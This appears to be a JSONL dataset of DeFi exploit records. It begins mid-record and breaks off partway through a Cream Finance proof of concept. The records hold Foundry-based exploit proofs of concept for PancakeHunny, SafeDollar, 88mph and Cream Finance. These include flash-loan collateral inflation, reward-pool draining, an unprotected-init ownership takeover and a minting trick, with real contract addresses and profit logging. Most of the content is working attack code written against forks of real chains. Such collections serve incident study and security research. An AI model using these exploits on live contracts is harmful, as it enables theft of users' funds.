"2026-01-07T10:59:16.520201", "_source": "postmortems", "chain": "bsc", "block_number": 8589725, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xb63f0d8b9aa0c4e68d5630f54bfefc6cf2c2ad19", "attack_contract": "https://bscscan.com/address/0x67d3737c410f4d206012cad5cb41b2e155061945", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xba0fa8c150b2408eec9bbbbfe63f9ca63e99f3ff53ac46ee08d691883ac05c1d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xb63f0d8b9aa0c4e68d5630f54bfefc6cf2c2ad19", "keyinfo_attack_contract": "https://bscscan.com/address/0x67d3737c410f4d206012cad5cb41b2e155061945", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xba0fa8c150b2408eec9bbbbfe63f9ca63e99f3ff53ac46ee08d691883ac05c1d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "xWin Exploit (2021-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n Vulnerable contract: https://bscscan.com/address/0x109Ea28dbDea5E6ec126FbC8c33845DFe812a300#code\n Attack TX: https://bscscan.com/tx/0x765de8357994a206bb90af57dcf427f48a2021f2f28ca81f2c00bc3b9842be8e\n Attacker contract: 0xb9b0090aaa81f374d66d94a8138d80caa2002950\n\n Vulnerable code snippet:\n function mintFor(address flip, uint _withdrawalFee, uint _performanceFee, address to, uint) override external onlyMinter {\n uint feeSum = _performanceFee.add(_withdrawalFee);\n IBEP20(flip).safeTransferFrom(msg.sender, address(this), feeSum);\n\n uint hunnyBNBAmount = tokenToHunnyBNB(flip, IBEP20(flip).balanceOf(address(this))); // incorrect use balanceOf.*/\n\ninterface CakeFlipVault {\n function getReward() external;\n function withdraw(\n uint256 amount\n ) external;\n function rewards(\n address\n ) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n address hunnyMinter = 0x109Ea28dbDea5E6ec126FbC8c33845DFe812a300;\n CakeFlipVault cakeVault = CakeFlipVault(0x12180BB36DdBce325b3be0c087d61Fce39b8f5A4);\n\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 cake = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);\n IERC20 hunny = IERC20(0x565b72163f17849832A692A3c5928cc502f46D69);\n\n constructor() {\n cheat.createSelectFork(\"bsc\", 7_962_338); //fork bsc at block 7962338\n\n wbnb.approve(address(pancakeRouter), type(uint256).max);\n hunny.approve(address(pancakeRouter), type(uint256).max);\n }\n\n function testExploit() public {\n wbnb.deposit{value: 5.752 ether}();\n wbnb.transfer(address(this), 5.752 ether);\n\n //WBNB was swapped to CAKE at PancakeSwap\n address[] memory path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(cake);\n pancakeRouter.swapExactETHForTokens{value: 5.752 ether}(0, path, address(this), 1_622_687_689);\n\n emit log_named_decimal_uint(\"Swap cake, Cake Balance\", cake.balanceOf(address(this)), 18);\n\n //The attacker sent CAKE to our HUNNY Minter contract\n cake.transfer(hunnyMinter, 59_880_957_483_227_401_400);\n\n //The attacker staked on CAKE-BNB Hive in PancakeHunny\n cheat.startPrank(0x515Fb5a7032CdD688B292086cf23280bEb9E31B6);\n //HUNNY Minter was \u201ctricked\u201d to mint more HUNNY tokens\n cakeVault.getReward();\n hunny.transfer(address(this), hunny.balanceOf(address(0x515Fb5a7032CdD688B292086cf23280bEb9E31B6)));\n emit log_named_decimal_uint(\"Hunny Balance\", hunny.balanceOf(address(this)), 18);\n cheat.stopPrank();\n\n //The attacker then sold the HUNNY tokens on PancakeSwap\n address[] memory path2 = new address[](2);\n path2[0] = address(hunny);\n path2[1] = address(wbnb);\n pancakeRouter.swapExactTokensForETH(hunny.balanceOf(address(this)), 0, path2, address(this), 1_622_687_089);\n\n emit log_named_decimal_uint(\"Swap WBNB, WBEB Balance\", wbnb.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "PancakeHunny", "date": "2021-06", "file_name": "PancakeHunny_exp.sol", "attack_vector": null, "content_hash": "df166a897e20c3ca", "collected_at": "2026-01-07T10:59:16.520279", "_source": "postmortems", "chain": "bsc", "block_number": 7962338, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x109Ea28dbDea5E6ec126FbC8c33845DFe812a300#code", "attack_tx": "https://bscscan.com/tx/0x765de8357994a206bb90af57dcf427f48a2021f2f28ca81f2c00bc3b9842be8e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n wbnb.deposit{value: 5.752 ether}();\n wbnb.transfer(address(this), 5.752 ether);\n\n //WBNB was swapped to CAKE at PancakeSwap\n address[] memory path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(cake);\n pancakeRouter.swapExactETHForTokens{value: 5.752 ether}(0, path, address(this), 1_622_687_689);\n\n emit log_named_decimal_uint(\"Swap cake, Cake Balance\", cake.balanceOf(address(this)), 18);\n\n //The attacker sent CAKE to our HUNNY Minter contract\n cake.transfer(hunnyMinter, 59_880_957_483_227_401_400);\n\n //The attacker staked on CAKE-BNB Hive in PancakeHunny\n cheat.startPrank(0x515Fb5a7032CdD688B292086cf23280bEb9E31B6);\n //HUNNY Minter was \u201ctricked\u201d to mint more HUNNY tokens\n cakeVault.getReward();\n hunny.transfer(address(this), hunny.balanceOf(address(0x515Fb5a7032CdD688B292086cf23280bEb9E31B6)));\n emit log_named_decimal_uint(\"Hunny Balance\", hunny.balanceOf(address(this)), 18);\n cheat.stopPrank();\n\n //The attacker then sold the HUNNY tokens on PancakeSwap\n address[] memory path2 = new address[](2);\n path2[0] = address(hunny);\n path2[1] = address(wbnb);\n pancakeRouter.swapExactTokensForETH(hunny.balanceOf(address(this)), 0, path2, address(this), 1_622_687_089);\n\n emit log_named_decimal_uint(\"Swap WBNB, WBEB Balance\", wbnb.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.69, "quality_estimate": "medium", "title": "PancakeHunny Exploit (2021-06)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n\ninterface SdoRewardPOOL {\n function deposit(uint256 _pid, uint256 _amount) external;\n function withdraw(uint256 _pid, uint256 _amount) external;\n function harvestAllRewards() external;\n function updatePool(\n uint256 _pid\n ) external;\n function pendingReward(uint256, address) external returns (uint256);\n}\n\ninterface PolydexRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract depositToken {\n IERC20 SDO = IERC20(0x86BC05a6f65efdaDa08528Ec66603Aef175D967f);\n IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);\n IERC20 PLX = IERC20(0x7A5dc8A09c831251026302C93A778748dd48b4DF);\n IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n Uni_Router_V2 Router = Uni_Router_V2(0xe5C67Ba380FB2F70A47b489e94BCeD486bb8fB74);\n SdoRewardPOOL Pool = SdoRewardPOOL(0x17684f4d5385FAc79e75CeafC93f22D90066eD5C);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function depositPLX() external payable {\n address(WMATIC).call{value: 1 ether}(\"\");\n address[] memory path = new address[](2);\n path[0] = address(WMATIC);\n path[1] = address(PLX);\n WMATIC.approve(address(Router), type(uint256).max);\n PLX.approve(address(Pool), type(uint256).max);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WMATIC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n Pool.deposit(uint256(9), PLX.balanceOf(address(this)));\n }\n\n function withdrawPLX() external {\n Pool.withdraw(uint256(9), PLX.balanceOf(address(Pool)));\n }\n\n function sellSDO() external {\n address[] memory path = new address[](2);\n path[0] = address(SDO);\n path[1] = address(USDC);\n USDC.approve(address(Router), type(uint256).max);\n SDO.approve(address(Router), type(uint256).max);\n // require(SDO.balanceOf(address(this)) < type(uint112).max, \"overflow\");\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n // SDO.balanceOf(address(this)),\n 20_000_000_000_000 * 1e18,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n\ncontract ContractTest is Test {\n IERC20 SDO = IERC20(0x86BC05a6f65efdaDa08528Ec66603Aef175D967f);\n IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);\n IERC20 PLX = IERC20(0x7A5dc8A09c831251026302C93A778748dd48b4DF);\n IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);\n IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n Uni_Router_V2 Router = Uni_Router_V2(0xe5C67Ba380FB2F70A47b489e94BCeD486bb8fB74);\n SdoRewardPOOL Pool = SdoRewardPOOL(0x17684f4d5385FAc79e75CeafC93f22D90066eD5C);\n Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xD33992A7367523B04949C7693d6506d4a7e19446); // WETH PLX\n Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x948d4AE4e9Ebf2AC6E787D29B94d0fF440EF2e4D); // WMATIC PLX\n uint256 amounts0;\n uint256 amounts1;\n address addressContract;\n uint256 reserve0Pair1;\n uint256 reserve1Pair1;\n uint256 reserve0Pair2;\n uint256 reserve1Pair2;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"polygon\", 16_225_172);\n }\n\n function testExploit() public payable {\n PLX.approve(address(Pool), type(uint256).max);\n WMATIC.approve(address(Router), type(uint256).max);\n (reserve0Pair1, reserve1Pair1,) = Pair1.getReserves();\n (reserve0Pair2, reserve1Pair2,) = Pair2.getReserves();\n address(WMATIC).call{value: 10_000 ether}(\"\");\n // depost PLX\n ContractFactory();\n (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature(\"depositPLX()\"));\n //revert();\n require(success);\n // change block.timestamp\n cheats.warp(block.timestamp + 5 * 60 * 60);\n amounts0 = PLX.balanceOf(address(Pair1)) - 1 * 1e18;\n Pair1.swap(amounts0, 0, address(this), new bytes(1));\n // change block.timestamp\n cheats.warp(block.timestamp + 5 * 60 * 60 + 1);\n uint256 amountreward = Pool.pendingReward(uint256(9), addressContract);\n (bool success1,) = addressContract.call(abi.encodeWithSignature(\"withdrawPLX()\"));\n require(success1);\n\n emit log_named_decimal_uint(\"Attacker SDO profit after exploit\", SDO.balanceOf(addressContract), 18);\n\n (bool success2,) = addressContract.call(abi.encodeWithSignature(\"sellSDO()\"));\n require(success2);\n WMATIC.balanceOf(address(this));\n\n emit log_named_decimal_uint(\"Attacker USDC profit after exploit\", USDC.balanceOf(addressContract), 6);\n }\n\n function polydexCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n if (msg.sender == address(Pair1)) {\n amounts1 = PLX.balanceOf(address(Pair2)) - 1e18;\n Pair2.swap(0, amounts1, address(this), new bytes(1));\n // flashswap callback pair1\n uint256 amountPLX0 = PLX.balanceOf(address(this));\n uint256 amountBuy = (amounts0 - amountPLX0) * 1011 / 1000 * 1000 / 995;\n buyPLX(amountBuy);\n PLX.transfer(address(Pair1), PLX.balanceOf(address(this)));\n // exploiter repay WETH to pair, but i dont konw how get weth on ploygon, weth-wmatic lack of liquidity ,i choose to repay plx\n // uint PLXInPari1 = PLX.balanceOf(address(Pair1));\n // uint WETHInPair1 = WETH.balanceOf(address(Pair1));\n // uint amountWETH =\n // (reserve0Pair1 * reserve1Pair1 / ((PLXInPari1 * 1000 - (amountPLX0 * 2 * 995 / 1000)) / 1000) - WETHInPair1) * 1000 / 998;\n // buyWETH(amountWETH);\n // PLX.transfer(address(Pair1), amountWETH);\n }\n\n if (msg.sender == address(Pair2)) {\n //reduced lptoken\n while (PLX.balanceOf(address(Pool)) > 100) {\n uint256 amount = PLX.balanceOf(address(this));\n if (PLX.balanceOf(address(this)) * 5 / 1000 > PLX.balanceOf(address(Pool))) {\n amount = PLX.balanceOf(address(Pool)) * 1000 / 5;\n }\n Pool.deposit(uint256(9), amount);\n Pool.withdraw(uint256(9), amount);\n }\n\n // flashswap callback pair2\n PLX.transfer(address(Pair2), amounts1 * 1000 / 995 + 1e18);\n }\n }\n\n function ContractFactory() public {\n address _add;\n bytes memory bytecode = type(depositToken).creationCode;\n assembly {\n _add := create2(0, add(bytecode, 32), mload(bytecode), 1)\n }\n addressContract = _add;\n }\n\n function buyPLX(\n uint256 amount\n ) public {\n address[] memory path = new address[](2);\n path[0] = address(WMATIC);\n path[1] = address(PLX);\n Router.swapTokensForExactTokens(amount, WMATIC.balanceOf(address(this)), path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "SafeDollar", "date": "2021-06", "file_name": "SafeDollar_exp.sol", "attack_vector": null, "content_hash": "55394bc7c4189f27", "collected_at": "2026-01-07T10:59:16.520346", "_source": "postmortems", "chain": "unknown", "block_number": 16225172, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public payable {\n PLX.approve(address(Pool), type(uint256).max);\n WMATIC.approve(address(Router), type(uint256).max);\n (reserve0Pair1, reserve1Pair1,) = Pair1.getReserves();\n (reserve0Pair2, reserve1Pair2,) = Pair2.getReserves();\n address(WMATIC).call{value: 10_000 ether}(\"\");\n // depost PLX\n ContractFactory();\n (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature(\"depositPLX()\"));\n //revert();\n require(success);\n // change block.timestamp\n cheats.warp(block.timestamp + 5 * 60 * 60);\n amounts0 = PLX.balanceOf(address(Pair1)) - 1 * 1e18;\n Pair1.swap(amounts0, 0, address(this), new bytes(1));\n // change block.timestamp\n cheats.warp(block.timestamp + 5 * 60 * 60 + 1);\n uint256 amountreward = Pool.pendingReward(uint256(9), addressContract);\n (bool success1,) = addressContract.call(abi.encodeWithSignature(\"withdrawPLX()\"));\n require(success1);\n\n emit log_named_decimal_uint(\"Attacker SDO profit after exploit\", SDO.balanceOf(addressContract), 18);\n\n (bool success2,) = addressContract.call(abi.encodeWithSignature(\"sellSDO()\"));\n require(success2);\n WMATIC.balanceOf(address(this));\n\n emit log_named_decimal_uint(\"Attacker USDC profit after exploit\", USDC.balanceOf(addressContract), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "SafeDollar Exploit (2021-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n I88mph mphNFT = I88mph(0xF0b7DE03134857391d8D43Ed48e20EDF21461097);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 12_516_705); //fork mainnet at block 13715025\n }\n\n function testExploit() public {\n console.log(\"Before exploiting, NFT contract owner:\", mphNFT.owner());\n /*\n The vulnerability was an unprotected init() function in the code of these specific pools\n function init() public {\n require(!initialized, \"MPHToken: initialized\");\n initialized = true;\n\n _transferOwnership(msg.sender);\n }\n\n */\n mphNFT.init(address(this), \"0\", \"0\"); // exploit here, change owner to this contract address\n console.log(\"After exploiting, NFT contract owner:\", mphNFT.owner());\n console.log(\"NFT Owner of #1: \", mphNFT.ownerOf(1));\n mphNFT.burn(1); //burn the token 1\n cheats.expectRevert(bytes(\"ERC721: owner query for nonexistent token\"));\n console.log(\"After burning: NFT Owner of #1: \", mphNFT.ownerOf(1)); // token burned, nonexistent token\n mphNFT.mint(address(this), 1); // mint a new token 1\n console.log(\"After exploiting: NFT Owner of #1: \", mphNFT.ownerOf(1)); // token 1 now owned by us\n }\n\n function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "88mph", "date": "2021-06", "file_name": "88mph_exp.sol", "attack_vector": null, "content_hash": "0e68dfabcb32f73f", "collected_at": "2026-01-07T10:59:16.520408", "_source": "postmortems", "chain": "unknown", "block_number": 12516705, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"Before exploiting, NFT contract owner:\", mphNFT.owner());\n /*\n The vulnerability was an unprotected init() function in the code of these specific pools", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.81, "quality_estimate": "low", "title": "88mph Exploit (2021-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://medium.com/immunefi/hack-analysis-cream-finance-oct-2021-fc222d913fc5\n// @TX\n// https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c65963ccb79089ff96bfaf8dced2331c92\n// @Credit\n// https://github.com/Hephyrius/Immuni-4-CREAM/tree/main/contracts/CREAM\n\n// @Summary\n// FirstContarct: MakerDao FlashLoan 500M DAI -> Convert to yUSD -> yUSD mint crYUSD in CreamFinance,crYUSD as collateral, velue: $500M -> secondContract: ->Aave FlashLoan 524_000 ETH -> send 6000 ETH to FirstContarct, other mint crETH in CreamFinance, crETH as collateral, value: $2B ->twice borrow about $500M yUSD to mint crYUSD, send to FirstContarct,now the FirstContarct collateral value: $1.5B -> borrow 500M yUSD send to FirstContarct -> FirstContarct: withdraw yUSD to 4-Curve token double the price crYUSD collateral ->now the FirstContarct collateral value: $3B, borrow fund -> $2B repay Aave FlashLoan, $500M repay MakerDao FlashLoan -> theoretically, there a 500M profit margin\n\ninterface YDAI is IERC20 {}\n\ninterface YVaultPeakProxy {\n function redeemInYusd(uint256 dusdAmout, uint256 minOut) external;\n}\n\ninterface IYearnVault {\n function deposit(\n uint256 amount\n ) external;\n function withdraw(\n uint256 amount\n ) external;\n function pricePerShare() external view returns (uint256);\n function totalAssets() external view returns (uint256);\n}\n\ninterface ICurveDepositor {\n function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external;\n function remove_liquidity_imbalance(uint256[4] memory amounts, uint256 max_burn_amount) external;\n function remove_liquidity_one_coin(\n uint256 _token_amount,\n int128 i,\n uint256 min_uamount,\n bool donate_dust\n ) external;\n}\n\ninterface ICether {\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n function mint() external payable;\n function underlying() external view returns (address);\n}\n\ninterface ICrToken {\n function borrow(\n uint256 borrowAmount\n ) external;\n function mint(\n uint256 mintAmount\n ) external;\n function underlying() external view returns (address);\n function getCash() external view returns (uint256);\n}\n\ninterface IComptroller {\n function enterMarkets(\n address[] memory cTokens\n ) external;\n // function getAccountLiquidity() external view returns(address[] memory markets);\n}\n\ncontract SecondContract {\n address contractAddress;\n IComptroller comptroller = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);\n IAaveFlashloan AaveFlash = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n address constant yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;\n address constant crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;\n address constant aWETH = 0x030bA81f1c18d280636F32af80b9AAd02Cf0854e;\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;\n\n function justDoIt(\n address paramAddress\n ) public {\n contractAddress = paramAddress;\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 524_102 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n console.log(\"[7. Aave FlashLoan 524_102 WETH]\");\n AaveFlash.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n // console.log(\"The WETH amount: \", WETH.balanceOf(address(this)) / 1e18);\n console.log(\"[8. Transfer 6000 WETH to first contract]\");\n WETH.transfer(contractAddress, 6000 * 1e18);\n\n console.log(\"[9. Convert WETH->ETH->crETH, the second contract collateral in Cream.Finance]\");\n address(WETH).call(abi.encodeWithSignature(\"withdraw(uint256)\", 518_102 * 1e18));\n ICether(crETH).mint{value: 518_102 ether}();\n\n console.log(\"[10. Cream.Finance crETH enterMarket]\");\n address[] memory markets = new address[](1);\n markets[0] = crETH;\n comptroller.enterMarkets(markets);\n\n console.log(\"------------Recursion------------\");\n console.log(\n \"[11. repeatedly borrow yUSD to mint crUSD, send to first contract, add the first contract conllateral\"\n );\n IERC20(yUSD).approve(crYUSD, type(uint256).max);\n ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));\n ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));\n IERC20(crYUSD).transfer(contractAddress, IERC20(crYUSD).balanceOf(address(this)));\n ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));\n ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));\n IERC20(crYUSD).transfer(contractAddress, IERC20(crYUSD).balanceOf(address(this)));\n console.log(\"The crYUSD amount in first contract: \", IERC20(crYUSD).balanceOf(contractAddress) / 1e8);\n\n console.log(\"[12. borrow yUSD and send to first contract]\");\n ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));\n IERC20(yUSD).transfer(contractAddress, IERC20(yUSD).balanceOf(address(this)));\n\n console.log(\"------------Jump first contract------------\");\n contractAddress.call(abi.encodeWithSignature(\"doIt()\"));\n\n console.log(\"[15. Repay Aave FlashLoan]\");\n WETH.approve(address(AaveFlash), type(uint256).max);\n return true;\n }\n\n receive() external payable {}\n}\n\ncontract ContractTest is Test {\n IDaiFlashloan DaiFlash = IDaiFlashloan(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);\n ICurvePool curvePool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n IComptroller comptroller = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);\n ICurveDepositor curveDepositors = ICurveDepositor(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);\n YDAI yDAI = YDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);\n Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 DUSD = IERC20(0x5BC25f649fc4e26069dDF4cF4010F9f706c23831);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 yDAI_yUSDC_yUSDT_yTUSD = IERC20(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);\n address constant curveDepositor = 0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3;\n address constant yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;\n address constant crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;\n address constant DUSDPOOL = 0x8038C01A0390a8c547446a0b2c18fc9aEFEcc10c;\n address constant PeakProxy = 0xA89BD606d5DadDa60242E8DEDeebC95c41aD8986;\n address constant crDAI = 0x92B767185fB3B04F881e3aC8e5B0662a027A1D9f;\n address constant crUSDT = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157;\n address constant crUSDC = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322;\n address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;\n address constant crCRETH2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2;\n address constant crFEI = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91;\n address constant crFTT = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db;\n address constant crPERP = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B;\n address constant crRUNE = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41;\n address constant crDPI = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D;\n address constant crUNI = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7;\n address constant crGNO = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E;\n address constant crSTETH = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;\n address constant crXSUSHI = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;\n address constant crYGG = 0x4112a717edD051F77d834A6703a1eF5e3d73387F;\n address secondContract;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_499_797);\n }\n\n function testExploit() public {\n SecondContract exploitContract = new SecondContract();\n secondContract = address(exploitContract);\n console.log(\"[1. Beigin]\");\n console.log(\"------------Acquire Capital------------\");\n console.log(\"[2. MakerDao FlashLoan 500_000_000 DAI]\");\n DaiFlash.flashLoan(address(this), address(DAI), 500_000_000 * 1e18, \"\");\n\n console.log(\"[17. End]\");\n console.log(\"------------Proift------------\");\n console.log(\"Attacker WETH balance after exploit: \", WETH.balanceOf(address(this)) / 1e18);\n console.log(\"Attacker crDAI balance after exploit: \", withdrawUnderlying(crDAI) / 1e18);\n console.log(\"Attacker crUSDT balance after exploit: \", withdrawUnderlying(crUSDT) / 1e6);\n console.log(\"Attacker crUSDC balance after exploit: \", withdrawUnderlying(crUSDC) / 1e6);\n console.log(\"Attacker crETH balance after exploit: \", withdrawUnderlying(crCRETH2) / 1e18);\n console.log(\"Attacker crCRETH2 balance after exploit: \", withdrawUnderlying(crDAI) / 1e18);\n console.log(\"Attacker crFEI balance after exploit: \", withdrawUnderlying(crFEI) / 1e18);\n console.log(\"Attacker crFTT balance after exploit: \", withdrawUnderlying(crFTT) / 1e18);\n console.log(\"Attacker crPERP balance after exploit: \", withdrawUnderlying(crPERP) / 1e18);\n console.log(\"Attacker crRUNE balance after exploit: \", withdrawUnderlying(crRUNE) / 1e18);\n console.log(\"Attacker crDPI balance after exploit: \", withdrawUnderlying(crDPI) / 1e18);\n console.log(\"Attacker crUNI balance after exploit: \", withdrawUnderlying(crUNI) / 1e18);\n console.log(\"Attacker crGNO balance after exploit: \", withdrawUnderlying(crGNO) / 1e18);\n console.log(\"Attacker crXSUSHI balance after exploit: \", withdrawUnderlying(crXSUSHI) / 1e18);\n console.log(\"Attacker crSTETH balance after exploit: \", withdrawUnderlying(crSTETH) / 1e18);\n console.log(\"Attacker crYGG balance after exploit: \", withdrawUnderlying(crYGG) / 1e18);\n }\n\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n // console.log(\"The DAI amount in contract: \", DAI.balanceOf(address(this)) / 1e18);\n\n console.log(\"[3. deposit DAI to YearnVault get yDAI]\");\n DAI.approve(curveDepositor, type(uint256).max);\n // Impersonate the attacker's function call revert the unknown error, instead of another trace\n // 